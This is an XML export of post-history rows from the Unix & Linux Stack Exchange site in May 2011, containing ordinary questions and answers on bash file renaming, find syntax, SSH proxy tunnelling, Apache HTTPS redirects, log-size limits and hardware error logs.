  <row Id="33504" PostHistoryTypeId="5" PostId="13164" RevisionGUID="a22077f2-17e2-4bc7-a69d-bc9c488a919d" CreationDate="2011-05-20T11:43:24.810" UserId="3997" Comment="added 2 characters in body" Text="Here is my *approach*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    for file in *; &#xD;&#xA;    do&#xD;&#xA;    	if [[ -f $file ]]; &#xD;&#xA;    	then&#xD;&#xA;    		# cut word by single white space&#xD;&#xA;    		fileword=$(head -n1 &quot;$file&quot; | cut -f1 -d&quot; &quot;);&#xD;&#xA;    		# Everything after first dot is considered as extention&#xD;&#xA;    		ext=$(echo $file | sed 's/.*\.\(.*\)/.\1/g')&#xD;&#xA;    		[ &quot;$file&quot; != &quot;$fileword&quot; ] &amp;&amp; $(mv  &quot;$file&quot;  &quot;$fileword$ext&quot;)&#xD;&#xA;    	fi;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33505" PostHistoryTypeId="4" PostId="13487" RevisionGUID="5a388bc4-400d-492f-8197-16fdc27e0059" CreationDate="2011-05-20T11:44:05.917" UserId="6960" Comment="edited title" Text="What are the most secure cryptsetup parameters to create an Encrypted filesystem?" />
  <row Id="33506" PostHistoryTypeId="25" PostId="13496" RevisionGUID="72b5a04b-baff-46bc-81f8-5419e1fd14eb" CreationDate="2011-05-20T12:12:26.383" Comment="http://twitter.com/#!/StackUnix/status/71548833372442624" />
  <row Id="33507" PostHistoryTypeId="2" PostId="13501" RevisionGUID="a4ec1783-c939-405a-b0ca-235df217c85a" CreationDate="2011-05-20T12:30:01.930" UserId="1835" Text="It depends on the precise functionality of `find` that you are relying on.  If it is (principally) the finding functionality, some shells support recursive globs. E.g., with `zsh`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    % find . -name \*c&#xD;&#xA;    ./a/b/foo.c&#xD;&#xA;    ./a/bar.c&#xD;&#xA;    ./baz.c&#xD;&#xA;    inoshiro% ls *.c&#xD;&#xA;    baz.c&#xD;&#xA;    % ls **/*.c &#xD;&#xA;    a/bar.c  a/b/foo.c  baz.c&#xD;&#xA;" />
  <row Id="33508" PostHistoryTypeId="2" PostId="13502" RevisionGUID="979f3562-cba4-4f40-a0e5-d4a7eb2f1e48" CreationDate="2011-05-20T12:56:09.967" UserId="1027" Text="As `adduser` script just calls `passwd` and there are no such strings as `Enter new password` or `Enter new UNIX password` in `/usr/sbin/passwd` binary but later string is found in `/lib/security/pam_unix.so`, I'd recommend checking `/etc/nsswitch.conf` and `/etc/pam.d/*` for something unusual related to passwords." />
  <row Id="33509" PostHistoryTypeId="4" PostId="13157" RevisionGUID="fece498e-1b9f-468a-a640-9d6ccdca54b5" CreationDate="2011-05-20T13:05:48.463" UserId="1835" Comment="title was too generic for the question" Text="Renaming multiple files based on their contents" />
  <row Id="33510" PostHistoryTypeId="24" PostId="13157" RevisionGUID="fece498e-1b9f-468a-a640-9d6ccdca54b5" CreationDate="2011-05-20T13:05:48.463" Comment="Proposed by 1835 approved by 73 edit id of 384" />
  <row Id="33511" PostHistoryTypeId="2" PostId="13503" RevisionGUID="f642fc6f-819a-4df8-8239-7bc84af1509a" CreationDate="2011-05-20T13:18:45.650" UserId="7351" Text="This is a common misconception.&#xD;&#xA;&#xD;&#xA;Find follows the options syntax. You're just confusing expression primaries with options:&#xD;&#xA;&#xD;&#xA;     find [-H | -L | -P] [-EXdsx] [-f path] path ... [expression]&#xD;&#xA;     [cmd][--&gt;        options          &lt;--] [--&gt; arg0..argN  &lt;--]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33512" PostHistoryTypeId="2" PostId="13504" RevisionGUID="5ca30d4a-e39c-4620-b6e1-3c7a3d7181ad" CreationDate="2011-05-20T13:29:11.840" UserId="-1" Text="" />
  <row Id="33513" PostHistoryTypeId="2" PostId="13505" RevisionGUID="c05edfbe-96f3-4d7c-aedb-895b2a06ba64" CreationDate="2011-05-20T13:29:11.840" UserId="-1" Text="" />
  <row Id="33514" PostHistoryTypeId="5" PostId="1191" RevisionGUID="caa005ca-b024-45d3-8a8f-8e3d186893bd" CreationDate="2011-05-20T13:39:08.383" UserId="688" Comment="deleted 7 characters in body; edited tags; edited title" Text="Some time ago I used a seq-like tool for printing a sequence of pseudo random generated numbers to stdout. You could specify a range, seed, and the number of samples and much more.&#xD;&#xA;&#xD;&#xA;I've just forgotten the name of this tool. Can anyone help me out?&#xD;&#xA;&#xD;&#xA;Perhaps you know even a more advanced tool that, for example, supports different probability distributions or even the generation of a sequence of random words under different alphabets and length/character distributions." />
  <row Id="33515" PostHistoryTypeId="4" PostId="1191" RevisionGUID="caa005ca-b024-45d3-8a8f-8e3d186893bd" CreationDate="2011-05-20T13:39:08.383" UserId="688" Comment="deleted 7 characters in body; edited tags; edited title" Text="Stochastic version of seq for generating sequence of random numbers/words?" />
  <row Id="33516" PostHistoryTypeId="6" PostId="1191" RevisionGUID="caa005ca-b024-45d3-8a8f-8e3d186893bd" CreationDate="2011-05-20T13:39:08.383" UserId="688" Comment="deleted 7 characters in body; edited tags; edited title" Text="éshellàécommandölineà" />
  <row Id="33517" PostHistoryTypeId="2" PostId="13506" RevisionGUID="f8422346-2826-4767-be14-7c1dd539d71b" CreationDate="2011-05-20T13:40:16.623" UserId="2046" Text="I would use mod_rewrite.&#xD;&#xA;&#xD;&#xA;Enable mod_rewrite and add something like this to your vhost config&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTPS} !On&#xD;&#xA;    RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301]" />
  <row Id="33518" PostHistoryTypeId="5" PostId="1321" RevisionGUID="6e2e48b1-c64c-4c5e-9612-98eec281edcd" CreationDate="2011-05-20T13:44:47.443" UserId="688" Comment="added 8 characters in body" Text="I want to be able to route a portion of my traffic through another machine over SSH. For example, is it possible to browse the web through the ssh tunnel and also browse the web through your LAN connection without much effort? (i.e. I want a seamless transition from using tunnel to using LAN) &#xD;&#xA;&#xD;&#xA;Thus it is not a simple *how do I tunnel ALL web traffic through ssh tunnel*, but moreso *how can I setup a tunnel that I can use at my discretion but not impeded my normal traffic flow*. (Kind of on an as-needed basis)  &#xD;&#xA;&#xD;&#xA;I would like the filtered traffic to be encrypted when leaving the LAN and it could be ftp, ssh, web, mail whatever traffic.  &#xD;&#xA;&#xD;&#xA;Some questions I think I need to answer/address:&#xD;&#xA;&#xD;&#xA;* Does this require multiple nics? &#xD;&#xA;* Does this require setting up a proxy? &#xD;&#xA;* Can I even do this the way I want it to function? &#xD;&#xA;&#xD;&#xA;Are there other options aside from a tunnel to achieve the result of having some traffic (user decides) encrypted through another machine (outside the LAN) and have other traffic use the normal flow through the LAN and out into the internet world? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: If some of the answers depend on specific traffic types I can be more specific and say that web traffic is a primary focus of this. However, other traffic such as IM/Email traffic would be desirable." />
  <row Id="33519" PostHistoryTypeId="5" PostId="1334" RevisionGUID="8c6c14e1-97f6-44f4-9a22-88a3bd89dab3" CreationDate="2011-05-20T13:45:57.973" UserId="688" Comment="edited body" Text="I don't know if that's what you're looking for, but you can use `ssh -D4545 domain.com` to open a socks proxy tunnel at port 4545 to the desired machine from your computer.&#xD;&#xA;&#xD;&#xA;You can then set up that proxy in your application (say Firefox) and use a plugin to quickly engage and disengage the proxy settings (something like TorButton).&#xD;&#xA;&#xD;&#xA;There is one drawback though: when your target host has more than one network device, you cannot control which one will your data take to leave the machine you're tunneling to.&#xD;&#xA;&#xD;&#xA;This can be circumvented by installing a normal proxy server on that machine, routing the traffic from, say, `localhost:3128` to the desired network interface, and then doing a `ssh -L4545:localhost:3128` and pointing all applications to 4545 that ought to use the proxy.&#xD;&#xA;&#xD;&#xA;This gives you greater control on the proxy side, as the integrated proxy of SSH is not really configurable." />
  <row Id="33520" PostHistoryTypeId="5" PostId="1279" RevisionGUID="894acfb0-5375-4e43-ba69-e6990d5b706d" CreationDate="2011-05-20T13:59:06.387" UserId="688" Comment="deleted 6 characters in body; edited tags; edited title" Text="I have few files sized &gt; 1 GB each. I need to remove last few bytes from the files. How can I do it? &#xD;&#xA;&#xD;&#xA;I am on HP-UX.&#xD;&#xA;&#xD;&#xA;EDIT: I prefer to edit file in place to save disk space." />
  <row Id="33521" PostHistoryTypeId="4" PostId="1279" RevisionGUID="894acfb0-5375-4e43-ba69-e6990d5b706d" CreationDate="2011-05-20T13:59:06.387" UserId="688" Comment="deleted 6 characters in body; edited tags; edited title" Text="How can I edit large file?" />
  <row Id="33522" PostHistoryTypeId="6" PostId="1279" RevisionGUID="894acfb0-5375-4e43-ba69-e6990d5b706d" CreationDate="2011-05-20T13:59:06.387" UserId="688" Comment="deleted 6 characters in body; edited tags; edited title" Text="éfilesàéeditorsàéhpöuxàélargeöfilesà" />
  <row Id="33523" PostHistoryTypeId="5" PostId="1230" RevisionGUID="849afa1c-a206-4928-a779-5a7081e629bc" CreationDate="2011-05-20T14:01:14.590" UserId="688" Comment="added 6 characters in body; edited tags; edited title" Text="I'd like to prevent automounting one partition (known UUID etc. ) on one external harddrive. Others should be automounted. Distro is 'modern' (uses lots of beta software) and uses udisk+udev for mounting.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33524" PostHistoryTypeId="4" PostId="1230" RevisionGUID="849afa1c-a206-4928-a779-5a7081e629bc" CreationDate="2011-05-20T14:01:14.590" UserId="688" Comment="added 6 characters in body; edited tags; edited title" Text="Preventing mounting some partition by user (gnome+udisk)" />
  <row Id="33525" PostHistoryTypeId="6" PostId="1230" RevisionGUID="849afa1c-a206-4928-a779-5a7081e629bc" CreationDate="2011-05-20T14:01:14.590" UserId="688" Comment="added 6 characters in body; edited tags; edited title" Text="élinuxàégnomeàéautomountingàéudevà" />
  <row Id="33526" PostHistoryTypeId="5" PostId="13504" RevisionGUID="211bf2b5-7160-4442-ad30-115f7cb4d5db" CreationDate="2011-05-20T14:03:16.813" UserId="7351" Comment="added 278 characters in body" Text="Postfix is Wietse Venema's mail server that started life at IBM research as an alternative to the widely-used Sendmail program. &#xD;&#xA;Postfix attempts to be fast, easy to administer, and secure. The outside has a definite Sendmail-ish flavor, but the inside is completely different." />
  <row Id="33527" PostHistoryTypeId="24" PostId="13504" RevisionGUID="211bf2b5-7160-4442-ad30-115f7cb4d5db" CreationDate="2011-05-20T14:03:16.813" Comment="Proposed by 7351 approved by 73 edit id of 385" />
  <row Id="33528" PostHistoryTypeId="5" PostId="13505" RevisionGUID="b5962e32-5490-4adc-84f6-c0935e6ff4f1" CreationDate="2011-05-20T14:03:17.860" UserId="7351" Comment="added 128 characters in body" Text="Postfix is Wietse Venema's mail server that started life at IBM research as an alternative to the widely-used Sendmail program. " />
  <row Id="33529" PostHistoryTypeId="24" PostId="13505" RevisionGUID="b5962e32-5490-4adc-84f6-c0935e6ff4f1" CreationDate="2011-05-20T14:03:17.860" Comment="Proposed by 7351 approved by 73 edit id of 386" />
  <row Id="33530" PostHistoryTypeId="5" PostId="1243" RevisionGUID="21bc50f6-4c51-48c7-9e3c-87f00fa54ea9" CreationDate="2011-05-20T14:04:28.923" UserId="688" Comment="deleted 73 characters in body; edited tags" Text="My current laptop is falling apart, specifically the screen hinges. Once (or ideally before) they break, I'd like to run the machine as a storage device. I strongly prefer using GUIs over CLI.&#xD;&#xA;&#xD;&#xA;Any recommendations on a distro/useful tools to install before turning it into a box? Any cautionary tales about running a laptop without a screen?&#xD;&#xA;&#xD;&#xA;So far I imagine installing Ubuntu (not Server) and running Remmina to remoting in via VNC/etc.&#xD;&#xA;" />
  <row Id="33531" PostHistoryTypeId="6" PostId="1243" RevisionGUID="21bc50f6-4c51-48c7-9e3c-87f00fa54ea9" CreationDate="2011-05-20T14:04:28.923" UserId="688" Comment="deleted 73 characters in body; edited tags" Text="élaptopàéheadlessàéremoteömanagementà" />
  <row Id="33532" PostHistoryTypeId="5" PostId="454" RevisionGUID="bf0dd1fd-dd99-4e74-8772-ea6480826bcc" CreationDate="2011-05-20T14:07:35.083" UserId="688" Comment="deleted 14 characters in body; edited tags; edited title; deleted 1 characters in body" Text="Has anyone got (or can point in the direction of) a nanorc file that contains syntax highlighting for C# and/or ASP.Net?&#xD;&#xA;" />
  <row Id="33533" PostHistoryTypeId="4" PostId="454" RevisionGUID="bf0dd1fd-dd99-4e74-8772-ea6480826bcc" CreationDate="2011-05-20T14:07:35.083" UserId="688" Comment="deleted 14 characters in body; edited tags; edited title; deleted 1 characters in body" Text="Nano syntax highlighting for C# and/or ASP. Net" />
  <row Id="33534" PostHistoryTypeId="6" PostId="454" RevisionGUID="bf0dd1fd-dd99-4e74-8772-ea6480826bcc" CreationDate="2011-05-20T14:07:35.083" UserId="688" Comment="deleted 14 characters in body; edited tags; edited title; deleted 1 characters in body" Text="éeditorsàémonoàécñàéaspûnetà" />
  <row Id="33535" PostHistoryTypeId="5" PostId="1249" RevisionGUID="0476fe7a-11d2-4d7f-8ca6-73d56b47f894" CreationDate="2011-05-20T14:10:08.483" UserId="688" Comment="deleted 75 characters in body; edited title" Text="Regarding [this question][1], I really like the idea of running Compiz without a desktop environment. I currently have Ubuntu 10.04 (with GNOME and Compiz) and want to give it a try. Now how can I configure my system to enable compiz running without GNOME (then I can remove it completely)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/1206/" />
  <row Id="33536" PostHistoryTypeId="4" PostId="1249" RevisionGUID="0476fe7a-11d2-4d7f-8ca6-73d56b47f894" CreationDate="2011-05-20T14:10:08.483" UserId="688" Comment="deleted 75 characters in body; edited title" Text="How to remove GNOME to run only Compiz" />
  <row Id="33537" PostHistoryTypeId="2" PostId="13507" RevisionGUID="389f84c5-ccd2-4c1f-af91-539321befed7" CreationDate="2011-05-20T14:13:59.760" UserId="4485" Text="On your own risk: :)&#xD;&#xA;&#xD;&#xA;    find -exec echo -n mv {} &quot; &quot; &quot;;&quot; -exec sed '1s/ .*//;q' {} &quot;;&quot; &gt; tmp.sh &amp;&amp; bash tmp.sh&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33539" PostHistoryTypeId="5" PostId="1062" RevisionGUID="fe101580-318d-49f8-9c46-e05e45c14949" CreationDate="2011-05-20T14:20:48.287" UserId="688" Comment="added 14 characters in body" Text="For the same reasons why each daemon should have minimal rights. Apache can run as root. It is designed to perform one task and surely nothing bad can happen?&#xD;&#xA;&#xD;&#xA;But assume apache is not bug-free. Bugs are discovered from time to time. Sometimes it can even be arbitrary code execution or similar. Now with apache running as root, it can access anything - for example it can load a rootkit into kernel and hide itself.&#xD;&#xA;&#xD;&#xA;On the other hand, user-level rootkit is very hard. It has to override different programs (like ps) inside &quot;/home&quot; which can make it suspectable more filled. It might not know exact configuration and 'forgot' to include gnome-system-monitor therefore exposing itself etc. It has to cover bash, tcsh and any shell you happen to use (to start itself). It would have to work with different configurations instead of 'simply' overriding buch of callbacks.  &#xD;&#xA;&#xD;&#xA;Consider that not so long ago there was arbitrary code execution discovered in... Adobe Reader.  &#xD;&#xA;&#xD;&#xA;Other reason is user mistakes. It is better to be warned before erasing the whole disk by one command.&#xD;&#xA;&#xD;&#xA;Third reason is different shells. Root shell should be installed on / in case that rescue of system needed to be performed. Users' shells can be installed on /usr (for example user can use zsh).&#xD;&#xA;&#xD;&#xA;Forth reason is that different programs don't work as root. They specifically know they are not supposed to, so you would need to patch system.&#xD;&#xA;&#xD;&#xA;Fifth reason is that /root should not be on separate partition while /home can (and should). Having /home separate helps for various reasons.&#xD;&#xA;&#xD;&#xA;**ALSO**: WHY NOT USE AS NORMAL USER. You more often don't need to have root rights than do. It is a very little cost for security.&#xD;&#xA;" />
  <row Id="33540" PostHistoryTypeId="5" PostId="439" RevisionGUID="69a89336-3d03-432c-a597-a3d04c840750" CreationDate="2011-05-20T14:37:56.400" UserId="688" Comment="added 1 characters in body; edited title" Text="Is there any way to keep file size of log file fixed without rotating it by a new empty file and deleting (or archiving) the old file. For example, if I set log file maximum size to 1MB, after the file size increase beyond that limit it will be automatically clamped, the text is added on 'tail' and the oldest part of text is poped out to keep the file size 1MB." />
  <row Id="33541" PostHistoryTypeId="4" PostId="439" RevisionGUID="69a89336-3d03-432c-a597-a3d04c840750" CreationDate="2011-05-20T14:37:56.400" UserId="688" Comment="added 1 characters in body; edited title" Text="Keep log file size fixed without logrotate" />
  <row Id="33542" PostHistoryTypeId="5" PostId="1448" RevisionGUID="813e9cec-86e3-4c80-91b5-66bd3598d08e" CreationDate="2011-05-20T14:43:10.263" UserId="688" Comment="deleted 76 characters in body; edited title" Text="I have recently had to have our dedicated server rebuilt as core system files were deleted. But that's another story...&#xD;&#xA;&#xD;&#xA;Before the rebuild, we were merging, branching, and committing changes to a number of different projects with Bazaar. Now it seems that the hosting company has rebuilt the server at CentOs 4.8 rather than 5.0, which I guess it was before. According to the support staff, Bazaar is not compatible with the new OS.&#xD;&#xA;&#xD;&#xA;The support staff have said: &#xD;&#xA;&#xD;&#xA;&gt; I have installed all of the Bazaar&#xD;&#xA;&gt; Dependencies, however the missing&#xD;&#xA;&gt; dependencies for example;&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Missing Dependency: libc.so.6(GLIBC_2.4) is needed by&#xD;&#xA;&gt; package bzr&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is for a higher version of CentOS.&#xD;&#xA;&#xD;&#xA;My question is. Is this entirely true and is there any way to get Bazaar working on Centos 4.8?&#xD;&#xA;&#xD;&#xA;If not, are there any other version control systems similar to Bazaar?&#xD;&#xA;&#xD;&#xA;Below is the log for the attempted installation of Bazaar.&#xD;&#xA;&#xD;&#xA;    Error: Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package bzr&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package bzr&#xD;&#xA;    Error: Missing Dependency: rtld(GNU_HASH) is needed by package bzr&#xD;&#xA;    Error: Missing Dependency: libcrypto.so.6 is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package python-paramiko&#xD;&#xA;    Error: Missing Dependency: rtld(GNU_HASH) is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: libssl.so.6 is needed by package python-pycurl&#xD;&#xA;    Error: Missing Dependency: rtld(GNU_HASH) is needed by package python-crypto&#xD;&#xA;    Error: Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package python-crypto&#xD;&#xA;    Error: Missing Dependency: python(abi) = 2.4 is needed by package python-crypto&#xD;&#xA;    Error: Missing Dependency: python-abi = 2.4 is needed by package python-crypto&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33543" PostHistoryTypeId="4" PostId="1448" RevisionGUID="813e9cec-86e3-4c80-91b5-66bd3598d08e" CreationDate="2011-05-20T14:43:10.263" UserId="688" Comment="deleted 76 characters in body; edited title" Text="Version Control System similar to Bazaar needed for CentOS 4.8 dedicated hosting server" />
  <row Id="33544" PostHistoryTypeId="5" PostId="1476" RevisionGUID="0b3a9199-5fa5-477b-8957-a7261d6a2c86" CreationDate="2011-05-20T14:47:08.810" UserId="688" Comment="added 43 characters in body" Text="While in command-mode, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; jump through a stack of locations that you've visited." />
  <row Id="33545" PostHistoryTypeId="5" PostId="1374" RevisionGUID="0eff2459-fcbb-4c66-91b7-18e4e9649364" CreationDate="2011-05-20T14:56:42.123" UserId="688" Comment="deleted 3 characters in body" Text="You type in `bash`. If you want this to be a permanent change the default shell to `/bin/bash` by editing `/etc/passwd`.&#xD;&#xA;&#xD;&#xA;Here's some snippets from my `/etc/passwd`:&#xD;&#xA;&#xD;&#xA;    avahi:x:84:84:Avahi daemon:/:/bin/false&#xD;&#xA;    xenoterracide:x:1000:100::/home/xenoterracide:/bin/zsh&#xD;&#xA;    postgres:x:88:88::/var/lib/postgres:/bin/zsh&#xD;&#xA;    bob:x:1001:1001::/home/bob:/bin/bash&#xD;&#xA;    usbmux:x:140:140:usbmux user:/:/sbin/nologin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The very last field contains the shell, Modifying the field after the last `:` to a valid or invalid shell will work. `/bin/false` and `/sbin/nologin` both mean the user doesn't have a real login shell, although if pam is not set up right this doesn't mean they can't login (I reported a bug on this in Arch Linux, because you can login graphically without having a login shell). `/bin/bash` and `/bin/zsh` are both valid shells, see `/etc/shells` for a list of valid shells on your systems. Here's my `/etc/shells` if you're interested.&#xD;&#xA;&#xD;&#xA;    /bin/sh&#xD;&#xA;    /bin/bash&#xD;&#xA;    /bin/ksh&#xD;&#xA;    /bin/zsh&#xD;&#xA;    /bin/dash&#xD;&#xA;    &#xD;&#xA;Yes you can use `chsh` or `usermod` to do the same things, please remember these are just structured text files, and TIMTOWTDI.&#xD;&#xA;" />
  <row Id="33547" PostHistoryTypeId="5" PostId="370" RevisionGUID="a45739c3-ec85-4d37-aa6e-cfd4a25d0b47" CreationDate="2011-05-20T15:01:49.123" UserId="688" Comment="added 2 characters in body" Text="Not exactly AD, but I got a nice answer to a similar question over here:&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/333/what-is-the-equivalent-of-active-directory-on-linux/338#338&#xD;&#xA;" />
  <row Id="33548" PostHistoryTypeId="25" PostId="13498" RevisionGUID="50e2f37d-266c-44e6-ad6b-b2bd7fd431e2" CreationDate="2011-05-20T15:12:27.360" Comment="http://twitter.com/#!/StackUnix/status/71594137585074176" />
  <row Id="33549" PostHistoryTypeId="2" PostId="13508" RevisionGUID="924089cc-c0ba-4c0e-88b2-a0331db8a25b" CreationDate="2011-05-20T15:33:53.543" UserId="2926" Text="I use this tc command to limit upload speed on a interface:&#xD;&#xA;&#xD;&#xA;    tc qdisc add dev eth1 root tbf rate 2mbit burst 10kb latency 70ms peakrate 2.4mbit minburst 1540&#xD;&#xA;&#xD;&#xA;But it results in heavy packet loss. If the data that come is via `eth0` (WAN) is 7 GB, it will be 6.2 GB on the rate limited interface `eth1`. Are there any other rate limiting solutions that cause lesser packet loss? " />
  <row Id="33550" PostHistoryTypeId="1" PostId="13508" RevisionGUID="924089cc-c0ba-4c0e-88b2-a0331db8a25b" CreationDate="2011-05-20T15:33:53.543" UserId="2926" Text="Reducing packet loss in tc rate limitng" />
  <row Id="33551" PostHistoryTypeId="3" PostId="13508" RevisionGUID="924089cc-c0ba-4c0e-88b2-a0331db8a25b" CreationDate="2011-05-20T15:33:53.543" UserId="2926" Text="énetworkingà" />
  <row Id="33552" PostHistoryTypeId="5" PostId="1527" RevisionGUID="6b3915f0-9f41-41e9-9d7e-3101aaf2eb08" CreationDate="2011-05-20T15:48:42.313" UserId="688" Comment="added 22 characters in body; edited title" Text="Here is my bash case:&#xD;&#xA;&#xD;&#xA;First case, this is what I want to do &quot;aliasing&quot; `var` with `myvarA`:&#xD;&#xA;&#xD;&#xA;    myvarA=&quot;variableA&quot;&#xD;&#xA;    varname=&quot;A&quot;&#xD;&#xA;    eval varAlias=\$&quot;myvar&quot;$varname&#xD;&#xA;    echo $varAlias&#xD;&#xA;&#xD;&#xA;Second case for array variable and looping its members, which is trivial:&#xD;&#xA;&#xD;&#xA;    myvarA=( &quot;variableA1&quot; &quot;variableA2&quot; )&#xD;&#xA;    for varItem in ${myvarA[@]}&#xD;&#xA;    do&#xD;&#xA;        echo $varItem&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Now somehow I need to use &quot;aliasing&quot; technique like example 1, but this time for array variable: &#xD;&#xA;&#xD;&#xA;    eval varAlias=\$&quot;myvar&quot;$varname&#xD;&#xA;    for varItem in ${varAlias[@]}&#xD;&#xA;    do&#xD;&#xA;        echo $varItem&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;But for last case, only first member of `myvarA` is printed, which is `eval` evaluate to value of the variable, how should I do var array variable so `eval` is evaluate to the **name of array variable** not the **value of the variable**.&#xD;&#xA;" />
  <row Id="33553" PostHistoryTypeId="4" PostId="1527" RevisionGUID="6b3915f0-9f41-41e9-9d7e-3101aaf2eb08" CreationDate="2011-05-20T15:48:42.313" UserId="688" Comment="added 22 characters in body; edited title" Text="Bash eval array variable name" />
  <row Id="33554" PostHistoryTypeId="5" PostId="1533" RevisionGUID="c6fc62ac-4386-47d8-bd48-4cff038de3da" CreationDate="2011-05-20T15:50:30.613" UserId="688" Comment="deleted 68 characters in body; added 15 characters in body" Text="Since this got no response I asked this question and got [an answer from Stack Overflow][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/q/3620798/" />
  <row Id="33555" PostHistoryTypeId="2" PostId="13509" RevisionGUID="b45abf86-d4e2-42e9-aa95-0d9ea172eabf" CreationDate="2011-05-20T15:50:56.570" UserId="7636" Text="I believe rsync can do this.  Have you tried it?  That produces no loss." />
  <row Id="33556" PostHistoryTypeId="2" PostId="13510" RevisionGUID="c3029a55-0e9b-4554-9bed-46e007f51134" CreationDate="2011-05-20T15:51:22.420" UserId="2974" Text="&lt;pre&gt;&#xD;&#xA; *      prune - clips off the tops of a list of files described in the&#xD;&#xA; *              file /etc/default/prune. Designed to be run periodically&#xD;&#xA; *              from cron, the idea is to automatically shorten log&#xD;&#xA; *              files that grow forever. This file contains a list of&#xD;&#xA; *              files (full pathname), and the number of blocks that&#xD;&#xA; *              should be retained.  To retain some sanity, prune will&#xD;&#xA; *              clip the file after the next newline. The file&#xD;&#xA; *              /etc/default/prune should look something like:&#xD;&#xA; *&#xD;&#xA; *                      /usr/adm/aculog         10&#xD;&#xA; *                      /usr/adm/leo.log        5&#xD;&#xA; *                      /usr/adm/messages       200&#xD;&#xA; *                      /usr/adm/sup_log        5&#xD;&#xA; *&#xD;&#xA; *              The crontab entry on infoswx for prune looks like:&#xD;&#xA; *&#xD;&#xA; *                      0 5 * * * /etc/prune &gt;/usr/adm/prune.log 2&gt;&amp;1&#xD;&#xA; *&#xD;&#xA; *              Compile with:  cc -O -o prune prune.c&#xD;&#xA; *&#xD;&#xA; *              The following defines may be adjusted to suit your taste&#xD;&#xA; *              and your system block size.&#xD;&#xA; *&#xD;&#xA; *      Ray Davis  infoswx!bees  09/25/85&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://groups.google.com/group/mod.sources/browse_thread/thread/b2136b3ab7e924e/f785b37c218bb576?hl=en&amp;ie=UTF-8&amp;q=prune+log+file&amp;pli=1&#xD;&#xA;" />
  <row Id="33557" PostHistoryTypeId="2" PostId="13511" RevisionGUID="901c2734-f68d-4554-afec-22817ae26c9b" CreationDate="2011-05-20T15:53:04.377" UserId="7637" Text="Hello,&#xD;&#xA;&#xD;&#xA;my computer acts strange - sometimes reboots spontanousely, sometimes does not want to boot. When I isse command &quot;mcelog&quot;, I receive such info:&#xD;&#xA;&#xD;&#xA;    HARDWARE ERROR. This is *NOT* a software problem!&#xD;&#xA;    Please contact your hardware vendor&#xD;&#xA;    MCE 0&#xD;&#xA;    CPU 0 BANK 0 &#xD;&#xA;    MISC 61f80000500010e ADDR cf9 &#xD;&#xA;    TIME 1305836650 Thu May 19 22:24:10 2011&#xD;&#xA;    MCG status:&#xD;&#xA;    MCi status:&#xD;&#xA;    Uncorrected error&#xD;&#xA;    MCi_MISC register valid&#xD;&#xA;    MCi_ADDR register valid&#xD;&#xA;    Processor context corrupt&#xD;&#xA;    MCA: BUS Level-3 Observed-error-as-third-party Generic Memory-access     Request-did-not-timeout Error&#xD;&#xA;    Model:Response hard fail&#xD;&#xA;    STATUS ae00030010020c03 MCGSTATUS 0&#xD;&#xA;    MCGCAP c0204 APICID 0 SOCKETID 0 &#xD;&#xA;    CPUID Vendor Intel Family 15 Model 4&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I read and understand it? Could somebody point me to some documentation?&#xD;&#xA;" />
  <row Id="33558" PostHistoryTypeId="1" PostId="13511" RevisionGUID="901c2734-f68d-4554-afec-22817ae26c9b" CreationDate="2011-05-20T15:53:04.377" UserId="7637" Text="machine check exception - how to read and understand it?" />
  <row Id="33559" PostHistoryTypeId="3" PostId="13511" RevisionGUID="901c2734-f68d-4554-afec-22817ae26c9b" CreationDate="2011-05-20T15:53:04.377" UserId="7637" Text="éhardwareà" />
  <row Id="33560" PostHistoryTypeId="2" PostId="13512" RevisionGUID="ce782730-8d35-46dc-a965-691d640ed554" CreationDate="2011-05-20T15:59:18.630" UserId="3032" Text="I'm working on a system based on Arch Linux, a really lean distro. You can read about the build process here: https://wiki.archlinux.org/index.php/Archiso&#xD;&#xA;&#xD;&#xA;I would recommend LFS if you are *really* up to sitting at the computer and waiting for 8 hours for a bunch of packages to compile with little benefit out of it.&#xD;&#xA;&#xD;&#xA;The Archiso process produces a 100mb ISO image with the super-lean configuration, but the best part about it is that you only have to supply a package list and `pacman` (Arch's awesome package manager) downloads and installs all of those packages (and their dependencies) for you.&#xD;&#xA;&#xD;&#xA;You then create a separate directory for a overlay filesystem, which gets mounted *over* the original FS. There you provide the `fstab`, `inittab`, etc. files to make the system bootable.&#xD;&#xA;&#xD;&#xA;I packaged a 690mb ISO which features GNOME2 (I despise GNOME3 and its treatment of the user), *tons* of programs, and a simple GUI in under 30 minutes.&#xD;&#xA;&#xD;&#xA;Did I mention that it takes my machine 7 hour to build *just* the base LFS system?" />
